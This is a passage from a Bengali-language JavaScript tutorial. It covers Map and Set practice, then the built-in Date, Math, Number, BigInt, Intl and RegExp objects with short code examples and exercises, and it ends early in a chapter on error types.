DECISION GUIDE 🎯 কখন কোনটা ব্যবহার করব?
আমার data যদি... Key → Value ↓ Object Dynamic Key → Value ↓ Map শুধু Unique Values ↓ Set Object-এর সাথে extra metadata ↓ WeakMap Object-গুলো tracked/marked রাখতে চাই ↓ WeakSet
PRACTICE LAB 📝 Practice Set — Chapter 12

Practice 1 — Map

একটি Map বানাও:

101 → Ripon 102 → Rahim 103 → Karim

তারপর 102 দিয়ে নাম বের করো।

Practice 2 — Set

এই Array থেকে duplicate remove করো:

JavaScriptRun
const skills = [
    "HTML",
    "CSS",
    "JS",
    "React",
    "JS",
    "CSS",
    "Node"
];

Expected:

Text
[
    "HTML",
    "CSS",
    "JS",
    "React",
    "Node"
]

Practice 3 — Frequency Counter

এই Array-তে প্রত্যেক number কতবার আছে বের করো:

JavaScriptRun
const numbers = [
    1, 2, 3, 1, 2, 1, 4, 3
];

Expected:

1 → 3 2 → 2 3 → 2 4 → 1

Practice 4 — Object as Map Key

দুইজন user object তৈরি করো:

JavaScriptRun
const user1 = {};
const user2 = {};

তারপর Map ব্যবহার করে তাদের score রাখো।

Practice 5 — Map + Set

একটি Map বানাও যেখানে:

Student → Courses

যেমন:

Ripon → HTML, CSS, JavaScript Rahim → JavaScript, React

তারপর check করো:

Text
Ripon কি React course-এ আছে?
SUMMARY 🚀 Chapter 12 Final Summary — Collections & Memory Model

আজ আমরা শিখলাম:

Map ↓ set() get() has() delete() clear() size keys() values() entries()

তারপর:

Set ↓ add() has() delete() clear() size

তারপর advanced:

WeakMap ↓ Object → Metadata ↓ Weak Reference

এবং:

WeakSet ↓ Objects track করা ↓ Weak Reference
সবচেয়ে গুরুত্বপূর্ণ ৪টি লাইন মনে রাখো:
JavaScriptRun
const map = new Map();

const set = new Set();

const weakMap = new WeakMap();

const weakSet = new WeakSet();

আর practical JavaScript-এ সবচেয়ে বেশি মনে রাখার মতো দুইটি pattern:

JavaScriptRun
// Duplicate remove
const unique = [...new Set(array)];

এবং:

JavaScriptRun
// Frequency counter
map.set(key, (map.get(key) || 0) + 1);
NEXT CHAPTER 📘 Chapter 13 Preview — Built-in Objects

Chapter 13-এ আমরা এরপর JavaScript Built-in Objects — Date, Math, Number, String, RegExp, Intl, BigInt বিস্তারিতভাবে শিখতে পারি।

Chapter 13
↑ Index
Built-in Objects: Date, Math, Intl & RegExp — স্ট্যান্ডার্ড লাইব্রেরি
Total Sections
92 Modules + Practice
Curriculum Part
Part 07 — Core Built-in Standard Library
Core Mechanics
Date, Math, Number, BigInt, Intl & RegExp
Reference Standard
ECMAScript 2026 / V8 Runtime

Built-in Objects: Date, Math, Number, BigInt, Intl & RegExp

Chapter 12-এ আমরা Map, Set, WeakMap, WeakSet শিখেছি। এবার JavaScript-এর built-in tools/objects শিখব। এগুলো practically প্রতিদিনের JavaScript development-এ কাজে লাগে:

Date  •  Math  •  Number  •  BigInt  •  Intl  •  RegExp  •  String Utilities

তারিখ, গাণিতিক হিসাব, বড় সংখ্যা ও আন্তর্জাতিক ফরম্যাটিংয়ের ভিত্তি মজবুত করতে এই অধ্যায়টি অত্যন্ত গুরুত্বপূর্ণ। 🔥

Part 01 — Date Object: Time, Calculations & Intl.DateTimeFormat (13.1 – 13.20)
13.1 Built-in Object কী?

JavaScript আমাদের জন্য আগে থেকেই কিছু object/API তৈরি করে দিয়েছে।

যেমন:

13.1 JavaScriptRun
Math
Date
Number
String
RegExp
JSON
Object
Array
Map
Set

এগুলোকে আমরা নিজেরা শুরু থেকে তৈরি না করেও ব্যবহার করতে পারি।

💡 Real-life Example

একটি e-commerce website-এ দরকার হতে পারে:

Product price calculation → Math / Number Order date → Date Currency formatting → Intl Search validation → RegExp Large transaction ID → BigInt
13.2 Date Object

JavaScript-এ date এবং time নিয়ে কাজ করার জন্য:

13.2 JavaScriptRun
Date

ব্যবহার করা হয়।

Current Date & Time
13.2 JavaScriptRun
const now = new Date();

console.log(now);

Output তোমার computer-এর current date/time অনুযায়ী হবে।

উদাহরণ:

Text
Wed Sep 16 2026 14:30:00 GMT+0600
13.3 Date.now()

বর্তমান সময়ের timestamp পাওয়া যায়:

13.3 JavaScriptRun
console.log(Date.now());

Output এরকম হতে পারে:

Text
1789545600000

এটি হলো:

Unix Timestamp / milliseconds since January 1, 1970 UTC
13.4 Date Object-এর বিভিন্ন অংশ
13.4 JavaScriptRun
const date = new Date();

console.log(date.getFullYear());
console.log(date.getMonth());
console.log(date.getDate());
console.log(date.getDay());
console.log(date.getHours());
console.log(date.getMinutes());
console.log(date.getSeconds());
13.5 getFullYear()
13.5 JavaScriptRun
const date = new Date();

console.log(date.getFullYear());
Text
2026
13.6 getMonth() — গুরুত্বপূর্ণ ⚠️
13.6 JavaScriptRun
const date = new Date();

console.log(date.getMonth());

getMonth() 0-based

January → 0 February → 1 March → 2 ... December → 11

তাই:

13.6 JavaScriptRun
const month = new Date().getMonth() + 1;

ব্যবহার করলে সাধারণ 1–12 month number পাওয়া যায়।

13.7 getDate()

মাসের কত তারিখ:

13.7 JavaScriptRun
const date = new Date();

console.log(date.getDate());

যদি 16 September হয়:

Text
16
13.8 getDay()

সপ্তাহের কোন দিন:

13.8 JavaScriptRun
const date = new Date();

console.log(date.getDay());

এটিও 0-based:

Sunday → 0 Monday → 1 Tuesday → 2 Wednesday → 3 Thursday → 4 Friday → 5 Saturday → 6
13.9 Time Methods
13.9 JavaScriptRun
const date = new Date();

console.log(date.getHours());
console.log(date.getMinutes());
console.log(date.getSeconds());
console.log(date.getMilliseconds());
13.10 Date থেকে সুন্দরভাবে Date বের করা
13.10 JavaScriptRun
const date = new Date();

const year = date.getFullYear();
const month = date.getMonth() + 1;
const day = date.getDate();

console.log(`${day}/${month}/${year}`);

Example:

Text
16/9/2026
13.11 Specific Date তৈরি করা
13.11 JavaScriptRun
const date = new Date("2026-09-16");

console.log(date);
13.12 Date Constructor

আরেকভাবে:

13.12 JavaScriptRun
const date = new Date(2026, 8, 16);

console.log(date);
⚠️ এখানে month:
Text
0 = January
1 = February
...
8 = September

তাই:

13.12 JavaScriptRun
new Date(2026, 8, 16)

মানে:

Text
16 September 2026
13.13 Date Comparison

Date object compare করা যায়।

13.13 JavaScriptRun
const date1 = new Date("2026-09-10");
const date2 = new Date("2026-09-20");

console.log(date1 < date2);
Text
true
13.14 Date Difference

ধরো:

13.14 JavaScriptRun
const start = new Date("2026-09-01");
const end = new Date("2026-09-16");

const difference = end - start;

console.log(difference);

এখানে result milliseconds-এ আসবে।

Days বের করতে:

13.14 JavaScriptRun
const days = difference / (1000 * 60 * 60 * 24);

console.log(days);
Text
15
13.15 Real-Life Example — Internship Duration
13.15 JavaScriptRun
const start = new Date("2026-09-10");
const end = new Date("2026-10-10");

const difference = end - start;

const days = difference / (1000 * 60 * 60 * 24);

console.log(`Duration: ${days} days`);
Text
Duration: 30 days
13.16 Date Setter Methods

Date-এর value পরিবর্তন করা যায়।

13.16 JavaScriptRun
const date = new Date();

date.setFullYear(2030);
date.setMonth(5);
date.setDate(20);

console.log(date);

Common methods:

setFullYear() setMonth() setDate() setHours() setMinutes() setSeconds()
13.17 UTC Methods

JavaScript-এ local time এবং UTC time আলাদা হতে পারে।

যেমন:

13.17 JavaScriptRun
const date = new Date();

console.log(date.getHours());
console.log(date.getUTCHours());

getHours() → local time

getUTCHours() → UTC time

13.18 toISOString()

API এবং database-এর জন্য খুব useful।

13.18 JavaScriptRun
const date = new Date();

console.log(date.toISOString());
Text
2026-09-16T08:30:00.000Z

ISO format সাধারণত API communication-এ অনেক ব্যবহৃত হয়।

13.19 toLocaleDateString()

User-friendly date:

13.19 JavaScriptRun
const date = new Date();

console.log(
    date.toLocaleDateString()
);

Output locale অনুযায়ী পরিবর্তিত হতে পারে।

13.20 Intl.DateTimeFormat

Professional date formatting-এর জন্য:

13.20 JavaScriptRun
const date = new Date("2026-09-16");

const formatter = new Intl.DateTimeFormat(
    "en-US"
);

console.log(formatter.format(date));
Text
9/16/2026
Part 02 — Math Object: Arithmetic, Rounding & Random Generators (13.21 – 13.39)
13.21 Math Object

Math object mathematical operations-এর জন্য।

13.21 JavaScriptRun
Math

এর অনেক useful method আছে।

13.22 Math.PI
13.22 JavaScriptRun
console.log(Math.PI);
Text
3.141592653589793
13.23 Math.E
13.23 JavaScriptRun
console.log(Math.E);
Text
2.718281828459045
13.24 Math.round()

নিকটবর্তী integer:

13.24 JavaScriptRun
console.log(Math.round(4.4));
console.log(Math.round(4.6));
Text
4
5
13.25 Math.floor()

নিচের দিকে round:

13.25 JavaScriptRun
console.log(Math.floor(4.9));
Text
4
13.26 Math.ceil()

উপরের দিকে round:

13.26 JavaScriptRun
console.log(Math.ceil(4.1));
Text
5
13.27 Math.trunc()

Decimal অংশ বাদ দেয়:

13.27 JavaScriptRun
console.log(Math.trunc(4.99));
Text
4

Negative number-এ:

13.27 JavaScriptRun
console.log(Math.trunc(-4.99));
Text
-4
13.28 round() বনাম floor() বনাম ceil() বনাম trunc()
Method4.7-4.7
round()5-5
floor()4-5
ceil()5-4
trunc()4-4
13.29 Math.abs()

Absolute value:

13.29 JavaScriptRun
console.log(Math.abs(-50));
Text
50
13.30 Math.pow()

Power:

13.30 JavaScriptRun
console.log(Math.pow(2, 3));
Text
8

তবে modern JavaScript-এ:

13.30 JavaScriptRun
console.log(2 ** 3);

এটিও ব্যবহার করা যায়।

13.31 Math.sqrt()

Square root:

13.31 JavaScriptRun
console.log(Math.sqrt(64));
Text
8
13.32 Math.cbrt()

Cube root:

13.32 JavaScriptRun
console.log(Math.cbrt(27));
Text
3
13.33 Math.max()

সবচেয়ে বড় number:

13.33 JavaScriptRun
console.log(Math.max(10, 50, 20, 80));
Text
80
13.34 Math.min()

সবচেয়ে ছোট:

13.34 JavaScriptRun
console.log(Math.min(10, 50, 20, 80));
Text
10
13.35 Array থেকে Maximum
13.35 JavaScriptRun
const numbers = [10, 50, 20, 80];

console.log(Math.max(...numbers));
Text
80

এখানে:

13.35 JavaScriptRun
...numbers

spread operator।

13.36 Math.random()

Random number:

13.36 JavaScriptRun
console.log(Math.random());
Text
0.7348234

প্রতিবার আলাদা value আসবে।

Range:

0 <= Math.random() < 1
13.37 Random Integer 1–10
13.37 JavaScriptRun
const random = Math.floor(
    Math.random() * 10
) + 1;

console.log(random);

Possible:

Text
1
2
3
...
10
13.38 Random Integer Function
13.38 JavaScriptRun
function randomNumber(min, max) {
    return Math.floor(
        Math.random() * (max - min + 1)
    ) + min;
}

console.log(randomNumber(1, 100));

Output হতে পারে:

Text
47
13.39 Real-Life Example — OTP-like Number
13.39 JavaScriptRun
function generateCode() {
    return Math.floor(
        100000 + Math.random() * 900000
    );
}

console.log(generateCode());

Possible:

Text
583214
⚠️ Security-sensitive authentication/OTP-এর জন্য সাধারণ Math.random() ব্যবহার করা উচিত নয়। সেক্ষেত্রে browser-এর cryptographic random APIs ব্যবহার করতে হয়।
Part 03 — Number & BigInt: Safe Integers, Precision & Large Numbers (13.40 – 13.56)
13.40 Number Object

JavaScript-এ numbers নিয়ে কাজ করার জন্য Number ব্যবহার করা হয়।

13.40 JavaScriptRun
const price = 999;

console.log(typeof price);
number
13.41 Number.isInteger()

Integer কিনা:

13.41 JavaScriptRun
console.log(Number.isInteger(10));
console.log(Number.isInteger(10.5));
Text
true
false
13.42 Number.isNaN()
13.42 JavaScriptRun
console.log(Number.isNaN(NaN));
console.log(Number.isNaN("hello"));
Text
true
false

এটি strict এবং predictable।

13.43 NaN

NaN মানে:

Not-a-Number

Example:

13.43 JavaScriptRun
const result = "hello" / 2;

console.log(result);
Text
NaN
13.44 Number.isFinite()
13.44 JavaScriptRun
console.log(Number.isFinite(100));
console.log(Number.isFinite(Infinity));
console.log(Number.isFinite("100"));
Text
true
false
false
13.45 Number.MAX_VALUE

JavaScript Number-এর খুব বড় finite value:

13.45 JavaScriptRun
console.log(Number.MAX_VALUE);
13.46 Number.MIN_VALUE

সবচেয়ে ছোট positive non-zero number-এর কাছাকাছি:

13.46 JavaScriptRun
console.log(Number.MIN_VALUE);
⚠️ এটি "সবচেয়ে ছোট negative number" নয়। এটি smallest positive non-zero floating-point value-এর concept।
13.47 Number.MAX_SAFE_INTEGER
এটি খুব গুরুত্বপূর্ণ।
13.47 JavaScriptRun
console.log(Number.MAX_SAFE_INTEGER);
Text
9007199254740991

এর পরে integer precision issue হতে পারে।

13.48 Safe Integer
13.48 JavaScriptRun
console.log(
    Number.isSafeInteger(9007199254740991)
);
Text
true
13.49 Unsafe Integer Problem
13.49 JavaScriptRun
console.log(
    9007199254740991 + 1
);

console.log(
    9007199254740991 + 2
);

Large integer precision সীমার কারণে surprising behavior হতে পারে।

এখানে আসে:

BigInt
13.50 BigInt কী?

BigInt ব্যবহার করা হয় খুব বড় integer-এর জন্য।

Syntax:

13.50 JavaScriptRun
const bigNumber = 123456789012345678901234567890n;

শেষে:

Text
n

দিতে হয়।

13.51 BigInt Example
13.51 JavaScriptRun
const bigNumber =
    123456789012345678901234567890n;

console.log(bigNumber);
Text
123456789012345678901234567890n
13.52 BigInt Type
13.52 JavaScriptRun
const bigNumber = 123n;

console.log(typeof bigNumber);
bigint
13.53 BigInt Calculation
13.53 JavaScriptRun
const a = 1000000000000000000n;
const b = 2000000000000000000n;

console.log(a + b);
Text
3000000000000000000n
13.54 Number + BigInt

এভাবে করা যাবে না:

13.54 JavaScriptRun
const a = 10n;
const b = 5;

console.log(a + b);
এতে TypeError হবে।

দুইটিকে একই type করতে হবে:

13.54 JavaScriptRun
console.log(a + BigInt(b));

অথবা:

13.54 JavaScriptRun
console.log(Number(a) + b);
⚠️ তবে বড় BigInt-কে Number-এ convert করলে precision loss হতে পারে।
13.55 BigInt Division
13.55 JavaScriptRun
console.log(10n / 3n);
Text
3n

Decimal অংশ থাকে না।

13.56 BigInt Comparison
13.56 JavaScriptRun
console.log(10n > 5);
console.log(10n === 10);
console.log(10n == 10);
Text
true
false
true

কারণ:

Text
10n !== 10

কিন্তু loose equality:

Text
10n == 10

true হতে পারে।

Part 04 — Intl API: Internationalization, Currency & Localization (13.57 – 13.64)
13.57 Intl কী?

Intl মানে:

Internationalization

এটি বিভিন্ন দেশের:

Currency Number Date Time Language Plural

formatting-এর জন্য ব্যবহার করা হয়।

13.58 Currency Formatting
13.58 JavaScriptRun
const price = 75000;

const formatted = new Intl.NumberFormat(
    "en-BD",
    {
        style: "currency",
        currency: "BDT"
    }
).format(price);

console.log(formatted);

Output environment/browser অনুযায়ী formatting variation থাকতে পারে, যেমন:

Text
BDT 75,000.00
13.59 USD
13.59 JavaScriptRun
const price = 1500;

const formatted = new Intl.NumberFormat(
    "en-US",
    {
        style: "currency",
        currency: "USD"
    }
).format(price);

console.log(formatted);
Text
$1,500.00
13.60 EUR
13.60 JavaScriptRun
const price = 1500;

console.log(
    new Intl.NumberFormat("de-DE", {
        style: "currency",
        currency: "EUR"
    }).format(price)
);

Output locale অনুযায়ী:

Text
1.500,00 €
13.61 Number Formatting
13.61 JavaScriptRun
const number = 1234567.89;

console.log(
    new Intl.NumberFormat("en-US")
        .format(number)
);
Text
1,234,567.89
13.62 Bengali Locale
13.62 JavaScriptRun
const number = 1234567.89;

console.log(
    new Intl.NumberFormat("bn-BD")
        .format(number)
);

এতে Bengali locale অনুযায়ী number formatting পাওয়া যাবে।

13.63 Date Formatting with Intl
13.63 JavaScriptRun
const date = new Date("2026-09-16");

const formatted = new Intl.DateTimeFormat(
    "en-BD",
    {
        dateStyle: "full"
    }
).format(date);

console.log(formatted);

Possible output:

Text
Wednesday, September 16, 2026
13.64 Time Formatting
13.64 JavaScriptRun
const date = new Date();

console.log(
    new Intl.DateTimeFormat("en-BD", {
        timeStyle: "medium"
    }).format(date)
);
Part 05 — RegExp & String Utilities: Patterns, Validation & Mini Project (13.65 – 13.92)
13.65 RegExp কী?

RegExp = Regular Expression

এটি text-এর মধ্যে pattern খুঁজতে/validate করতে ব্যবহৃত হয়।

যেমন:

Text
Email
Phone
Password
Username
URL
Search pattern
13.66 RegExp তৈরি করা

দুটি common syntax:

Literal
13.66 JavaScriptRun
const pattern = /hello/;
Constructor
13.66 JavaScriptRun
const pattern = new RegExp("hello");
13.67 test()

সবচেয়ে সহজ:

13.67 JavaScriptRun
const pattern = /hello/;

console.log(
    pattern.test("hello world")
);
Text
true
13.68 Pattern না থাকলে
13.68 JavaScriptRun
const pattern = /hello/;

console.log(
    pattern.test("good morning")
);
Text
false
13.69 Case Sensitivity
13.69 JavaScriptRun
const pattern = /hello/;

console.log(
    pattern.test("Hello")
);
Text
false

কারণ lowercase hello এবং uppercase Hello আলাদা।

13.70 i Flag

Case-insensitive:

13.70 JavaScriptRun
const pattern = /hello/i;

console.log(
    pattern.test("Hello")
);
Text
true
13.71 g Flag

Global matching:

13.71 JavaScriptRun
const pattern = /hello/g;

এটি multiple matches নিয়ে কাজ করতে সাহায্য করে।

13.72 Common RegExp Flags
FlagMeaning
iCase-insensitive
gGlobal
mMultiline
sDot matches newline
uUnicode
ySticky
13.73 match()
13.73 JavaScriptRun
const text = "JavaScript is great. JavaScript is powerful.";

console.log(
    text.match(/JavaScript/g)
);
Text
[
    "JavaScript",
    "JavaScript"
]
13.74 replace()

RegExp দিয়ে text replace:

13.74 JavaScriptRun
const text = "I like cats";

const result = text.replace(
    /cats/,
    "dogs"
);

console.log(result);
Text
I like dogs
13.75 replaceAll()
13.75 JavaScriptRun
const text = "cat cat cat";

const result = text.replaceAll(
    "cat",
    "dog"
);

console.log(result);
Text
dog dog dog
13.76 RegExp Character Classes
[abc]

a অথবা b অথবা c:

13.76 JavaScriptRun
console.log(/[abc]/.test("apple"));
Text
true
[0-9]

যেকোনো digit:

13.76 JavaScriptRun
console.log(/[0-9]/.test("Hello5"));
Text
true
[a-z]

lowercase letter:

13.76 JavaScriptRun
console.log(/[a-z]/.test("123a"));
Text
true
13.77 Common RegExp Shortcuts
PatternMeaning
\dDigit
\DNot digit
\wWord character
\WNot word character
\sWhitespace
\SNot whitespace
.Any character except line terminators
13.78 \d Example
13.78 JavaScriptRun
console.log(/\d/.test("ABC5"));
Text
true

কারণ 5 একটি digit।

13.79 Quantifiers
+

এক বা একাধিক:

13.79 JavaScriptRun
console.log(/\d+/.test("12345"));
Text
true
*

শূন্য বা একাধিক:

13.79 JavaScriptRun
console.log(/\d*/.test(""));
Text
true
?

শূন্য বা এক:

13.79 JavaScriptRun
console.log(/colou?r/.test("color"));
console.log(/colou?r/.test("colour"));

দুটিই:

Text
true
13.80 {n}

ঠিক n বার:

13.80 JavaScriptRun
console.log(/\d{4}/.test("2026"));
Text
true
13.81 {n,m}

কমপক্ষে n, সর্বোচ্চ m:

13.81 JavaScriptRun
console.log(/\d{2,4}/.test("123"));
Text
true
13.82 Email Validation — Basic Example
13.82 JavaScriptRun
const emailPattern =
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

console.log(
    emailPattern.test("ripon@example.com")
);
Text
true

এটি basic validation pattern; production-grade email validation আরও nuanced হতে পারে।

13.83 Phone Validation — Basic Example

Bangladesh-এর 11-digit mobile number-এর basic pattern:

13.83 JavaScriptRun
const phonePattern = /^01\d{9}$/;

console.log(
    phonePattern.test("01712345678")
);
Text
true
13.84 Password Validation

ধরো password কমপক্ষে 8 characters:

13.84 JavaScriptRun
const password = "Ripon123";

console.log(
    /^.{8,}$/.test(password)
);
Text
true

আরও strong validation চাইলে uppercase, lowercase, digit, special character আলাদা করে enforce করতে হবে।

13.85 ^ এবং $
এগুলো খুব গুরুত্বপূর্ণ।
^ → শুরু $ → শেষ

Example:

13.85 JavaScriptRun
/^hello$/

এর অর্থ:

পুরো string-টাই hello হতে হবে।
13.85 JavaScriptRun
console.log(/^hello$/.test("hello"));
console.log(/^hello$/.test("hello world"));
Text
true
false
13.86 String-এর কিছু গুরুত্বপূর্ণ Built-in Methods
যদিও String-এর অনেক method আমরা আগের chapters-এ দেখেছি, এখানে built-in utility হিসেবে গুরুত্বপূর্ণগুলো একসাথে রাখি।
includes()
13.86 JavaScriptRun
const text = "JavaScript";

console.log(text.includes("Script"));
Text
true
startsWith()
13.86 JavaScriptRun
console.log(
    "JavaScript".startsWith("Java")
);
Text
true
endsWith()
13.86 JavaScriptRun
console.log(
    "JavaScript".endsWith("Script")
);
Text
true
repeat()
13.86 JavaScriptRun
console.log("Hi ".repeat(3));
Text
Hi Hi Hi
13.87 String.raw()

Special string representation পেতে:

13.87 JavaScriptRun
const path = String.raw`C:\Users\Ripon\Desktop`;

console.log(path);
Text
C:\Users\Ripon\Desktop

Template literal-এর escape processing-এর কিছু ক্ষেত্রে useful।

13.88 Number Conversion

String থেকে Number:

13.88 JavaScriptRun
console.log(Number("100"));
Text
100
parseInt()
13.88 JavaScriptRun
console.log(parseInt("100px"));
Text
100
parseFloat()
13.88 JavaScriptRun
console.log(parseFloat("10.50px"));
Text
10.5
13.89 Number() বনাম parseInt()
13.89 JavaScriptRun
console.log(Number("100px"));
console.log(parseInt("100px"));
Text
NaN
100

কারণ:

Number() → পুরো string-কে valid number হতে হবে parseInt() → শুরু থেকে integer অংশ parse করতে পারে
13.90 toFixed()

Decimal places control করতে:

13.90 JavaScriptRun
const price = 99.5678;

console.log(price.toFixed(2));
Text
99.57
⚠️ toFixed() string return করে।
13.90 JavaScriptRun
console.log(
    typeof price.toFixed(2)
);
Text
string
13.91 Real-Life Product Price
13.91 JavaScriptRun
const price = 999.5678;

const finalPrice = Number(
    price.toFixed(2)
);

console.log(finalPrice);
Text
999.57
13.92 সবগুলো একসাথে — Mini Project

ধরো একটি product:

13.92 JavaScriptRun
const product = {
    name: "Laptop",
    price: 75999.567,
    discount: 10
};

আমরা:

  • Discount calculate করব
  • 2 decimal-এ round করব
  • Currency format করব
  • Current date দেখাব
13.92 JavaScriptRun
const product = {
    name: "Laptop",
    price: 75999.567,
    discount: 10
};

const discountAmount =
    product.price *
    product.discount /
    100;

const finalPrice =
    product.price - discountAmount;

const formattedPrice =
    new Intl.NumberFormat("en-BD", {
        style: "currency",
        currency: "BDT"
    }).format(finalPrice);

console.log("Product:", product.name);
console.log("Price:", formattedPrice);
console.log("Date:", new Date().toLocaleDateString());

Possible output:

Product: Laptop Price: BDT 68,399.61 Date: 9/16/2026

Formatting browser/locale অনুযায়ী কিছুটা ভিন্ন হতে পারে।

Part 06 — Must Know, Quick Cheat Sheet, Practice Lab & Mental Map
MUST KNOW 🔥 Chapter 13 — Must Know

এইগুলো অবশ্যই ভালোভাবে জানতে হবে।

Date
JavaScriptRun
new Date()
Date.now()

getFullYear()
getMonth()
getDate()
getDay()
getHours()

toISOString()
toLocaleDateString()
Math
JavaScriptRun
Math.round()
Math.floor()
Math.ceil()
Math.trunc()

Math.max()
Math.min()

Math.random()

Math.abs()
Math.sqrt()
Math.cbrt()
Math.pow()
Math.PI
Number
JavaScriptRun
Number()
Number.isInteger()
Number.isNaN()
Number.isFinite()
Number.isSafeInteger()

Number.MAX_SAFE_INTEGER
BigInt
JavaScriptRun
12345678901234567890n
Intl
JavaScriptRun
Intl.NumberFormat
Intl.DateTimeFormat
RegExp
JavaScriptRun
/pattern/

Important:

Text
test()
match()
replace()
replaceAll()

^
$
\d
\w
\s
+
*
?
{}
[]
CHEAT SHEET 🧠 Quick Cheat Sheet
Date → Date & Time Math → Mathematical calculations Number → Number validation/conversion BigInt → Very large integers Intl → International formatting RegExp → Text pattern matching
PRACTICE LAB 📝 Practice Set — Chapter 13

Practice 1 — Date

আজকের:

Year Month Date Day Hour Minute

console-এ print করো।

Practice 2 — Date Difference

Start: 2026-09-10 End: 2026-10-10

কত দিন difference বের করো।

Practice 3 — Random Number

1 থেকে 100-এর মধ্যে random integer generate করো।

Practice 4 — Maximum

JavaScriptRun
const numbers = [10, 45, 22, 99, 67];

সবচেয়ে বড় এবং ছোট number বের করো।

Practice 5 — Currency

JavaScriptRun
const price = 125000;

এটাকে Bangladesh currency format-এ দেখাও।

Practice 6 — BigInt

দুটি বড় integer:

Text
12345678901234567890
98765432109876543210

যোগ করো।

Practice 7 — RegExp

Check করো:

Text
01712345678

এটি basic Bangladesh mobile-number pattern follow করছে কিনা।

Practice 8 — Email

Check করো:

Text
ripon@example.com

এটি basic email pattern follow করছে কিনা।

MENTAL MAP 🎯 Chapter 13 Final Mental Map — Architecture & Core Patterns
পুরো Chapter-টাকে এভাবে মনে রাখো:
JavaScript Built-ins │ ┌─────────────────┼─────────────────┐ │ │ │ Date Math Number │ │ │ Date/Time Calculation Validation │ │ │ └──────────────┬──┴─────────────────┘ │ BigInt │ Huge Integers │ ┌──────────────┴──────────────┐ │ │ Intl RegExp │ │ Formatting Pattern Matching │ │ Currency/Date Email/Phone/Search
🔥 Chapter 13-এর সবচেয়ে গুরুত্বপূর্ণ বিষয়
JavaScriptRun
new Date()
JavaScriptRun
Math.random()
JavaScriptRun
Math.floor()
JavaScriptRun
Number.isInteger()
JavaScriptRun
Number.MAX_SAFE_INTEGER
JavaScriptRun
12345678901234567890n
JavaScriptRun
new Intl.NumberFormat()
JavaScriptRun
/^[^\s@]+@[^\s@]+\.[^\s@]+$/

এগুলো ভালোভাবে আয়ত্ত করলে JavaScript-এর date/time, mathematical calculation, number handling, large integers, international formatting এবং pattern validation-এর ভিত্তি শক্ত হয়ে যাবে।

Chapter 14
↑ Index
Error Handling & Debugging — এরর হ্যান্ডলিং ও ডিবাগিং
Total Sections
54 Modules + Practice
Curriculum Part
Part 08 — Quality, Reliability & Debugging
Core Mechanics
try/catch, Custom Errors, DevTools & Console
Reference Standard
ECMAScript 2026 / V8 Runtime

Error Handling & Debugging — Error মোকাবিলা ও Debugging

এখন আমরা JavaScript-এর খুব গুরুত্বপূর্ণ একটি অংশ শিখব: Error Handling এবং Debugging। বাস্তব জীবনের application-এ user ভুল input দিতে পারে, API fail করতে পারে, কোনো variable ভুল হতে পারে, server response না-ও আসতে পারে। তখন program যেন পুরোপুরি crash না করে এবং developer যেন সমস্যাটা সহজে খুঁজে বের করতে পারে—এই কাজের জন্য Error Handling ও Debugging ব্যবহার করা হয়।

Error Detection  →  Graceful Handling (try...catch)  →  Clean Recovery (finally)  →  Root-Cause Debugging

নির্ভুল ও ক্র্যাশ-মুক্ত প্রফেশনাল ওয়েব অ্যাপ্লিকেশন তৈরির জন্য এই অধ্যায়টি অপরিহার্য। 🔥

Part 01 — JavaScript Error Architecture & Error Types (14.1 – 14.10)
14.1 Error কী? — Error কী জিনিস?
Error হলো program-এর এমন একটি সমস্যা যার কারণে JavaScript প্রত্যাশিতভাবে কাজ করতে পারে না।
💡 Real-Life Example

ধরো তুমি একটি ATM-এ গেলে:

  • Account number ভুল → সমস্যা
  • PIN ভুল → সমস্যা
  • Balance কম → সমস্যা
  • ATM server unavailable → সমস্যা
Programming-এও একই ধরনের সমস্যা হয়।
14.1 JavaScriptRun
let age = 20;

console.log(age);
এখানে কোনো সমস্যা নেই।

কিন্তু:

14.1 JavaScriptRun
console.log(username);

এখানে username declare করা হয়নি।

ReferenceError: username is not defined
14.2 Error বনাম Exception

দুটো শব্দ অনেক সময় একই অর্থে ব্যবহার করা হলেও conceptually:

  • Error → program-এর সমস্যা
  • Exception → runtime-এ এমন একটি exceptional condition যা আমরা handle করতে পারি

উদাহরণ:

14.2 JavaScriptRun
let result = 10 / 0;

console.log(result);
Text
Infinity

এটা error নয়।

কিন্তু:

14.2 JavaScriptRun
throw new Error("Something went wrong");

এখানে আমরা ইচ্ছাকৃতভাবে একটি exception throw করেছি।

14.3 Common JavaScript Errors
JavaScript-এ কয়েক ধরনের গুরুত্বপূর্ণ built-in error আছে।
ErrorMeaning
SyntaxErrorCode-এর syntax ভুল
ReferenceErrorএমন variable/reference ব্যবহার করা হয়েছে যা নেই
TypeErrorভুল type-এর operation
RangeErrorValid range-এর বাইরে value
URIErrorURI-related ভুল
EvalErroreval()-related error; modern code-এ খুব কম ব্যবহৃত
AggregateErrorএকাধিক error একসাথে represent করতে ব্যবহৃত
14.4 SyntaxError
Syntax ভুল হলে SyntaxError হয়।
14.4 JavaScriptRun
if (true {
    console.log("Hello");
}
SyntaxError

কারণ:

14.4 JavaScriptRun
if (true)

এর পরে ) missing।

সঠিক:

14.4 JavaScriptRun
if (true) {
    console.log("Hello");
}
Text
Hello
সহজভাবে

Compiler/JavaScript engine বলতে পারে:

"তোমার code-এর grammar ঠিক নেই।"
14.5 ReferenceError
যে variable exist করে না সেটি access করলে ReferenceError হয়।
14.5 JavaScriptRun
console.log(userName);
ReferenceError: userName is not defined

সঠিক:

14.5 JavaScriptRun
let userName = "Shariar";

console.log(userName);
Text
Shariar
💡 Real-Life Example

তুমি বললে:

"আমাকে Rahim-এর phone number দাও।"

কিন্তু তোমার contact list-এ Rahim-এর কোনো record নেই।

Programming-এ একইভাবে unknown variable → ReferenceError
14.6 TypeError
ভুল data type-এর ওপর এমন operation করলে TypeError হতে পারে।
14.6 JavaScriptRun
let user = null;

console.log(user.name);
TypeError

কারণ null-এর মধ্যে name access করা যাচ্ছে না।

আরেকটি example:

14.6 JavaScriptRun
let age = 20;

age();
TypeError: age is not a function

কারণ age একটি number, function নয়।

14.7 RangeError
কোনো value valid range-এর বাইরে গেলে RangeError হতে পারে।
14.7 JavaScriptRun
let number = 10;

console.log(number.toFixed(101));

এখানে decimal digits-এর valid range-এর বাইরে value দেওয়া হয়েছে।

RangeError

আরেকটি example:

14.7 JavaScriptRun
let arr = new Array(-5);
RangeError

কারণ array length negative হতে পারে না।

14.8 URIError
URI-related function-এ invalid URI দিলে URIError হতে পারে।
14.8 JavaScriptRun
decodeURIComponent("%");
URIError

কারণ % এখানে valid encoded URI sequence নয়।

14.9 Error Object
JavaScript-এ আমরা Error object তৈরি করতে পারি।
14.9 JavaScriptRun
